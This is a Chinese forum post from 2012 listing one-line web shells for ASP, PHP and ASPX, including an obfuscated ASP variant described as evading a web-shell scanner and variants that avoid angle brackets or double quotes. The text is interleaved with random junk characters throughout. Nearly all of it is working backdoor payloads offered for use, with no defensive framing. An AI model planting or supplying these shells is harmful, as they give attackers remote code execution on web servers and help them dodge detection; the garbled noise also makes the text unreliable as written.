asp一句话 <%execute(request("1"))%> 5 h. N1 W& x; A6 s/ U T
1 B7 i7 ]2 v" C3 w! @
php一句话 <?php eval($_POST[1]);?> 4 ^$ F6 ]' }1 }+ e6 y! ?
1 r+ t( \- W+ S) C I2 ~. `
aspx一句话
( i' K+ P/ J9 z+ `' G, f9 A* i2 R8 A }9 Q5 Y% D- S% S2 g
<script language="C#" runat="server">- ]) D7 U% ~ r1 I8 X
7 Y+ l5 K, v1 H* u
WebAdmin2Y.x.y aaaaa = new WebAdmin2Y.x.y ("add6bb58e139be10");" _/ x" n7 U3 z- V( G# S5 ?
( w+ B6 J4 o% l0 _* L/ r
</script>, \) V6 i% U+ M
" m& t7 O/ q7 u8 @4 L可以躲过雷客图的一句话。
. T' ^* Q7 ~# i2 o2 O( c7 }
3 i5 P3 ]5 x# Z5 X% }6 \ <%
" [6 l7 V4 F' y! @7 g
3 T. \2 Q! u: w1 v4 s8 I set ms = server.CreateObject("MSScriptControl.ScriptControl.1")% D- H6 M" M2 a) f4 j
" v( R* B4 i- ] B3 z2 z
ms.Language="VBScript"7 H% q- n1 a# @& V2 p
) m8 o( B2 n6 N
ms.AddObject "Response", Response5 q2 F" G% L- R+ ]. Y! j0 I/ O. d
. {: k# |3 _9 x$ z- C, A4 m ms.AddObject "request", request- x3 Q8 z* `# c5 }
; x2 Q3 P8 [, ~ M. C) c/ n0 P ms.ExecuteStatement("ev"&"al(request(""1""))")3 K/ T2 o+ F# u2 I$ n7 V$ D0 h ~
: B2 J( a& H5 j0 R% v @# a6 ? %>
/ X1 c1 w0 e' r5 f% h0 ~
1 r7 H0 e4 n8 ?/ c1 ]2 w4 | 不用'<,>'的asp一句话
" F- T4 N( W# [$ M( P4 s. \1 h7 b2 _1 C
<script language=VBScript runat=server>execute request("1")</script>3 |. s" \$ @( y# F1 V8 q0 B6 ~
$ U! p8 u& v9 Z
不用双引号的一句话。- X- h4 A$ I" Y' [2 G
: R0 ?* S6 j. B& U2 m* y" b <%eval request(chr(35))%>! j; }2 _* P+ ^1 o! F
|
发表于 2012-9-23 14:36:09
收藏
支持
反对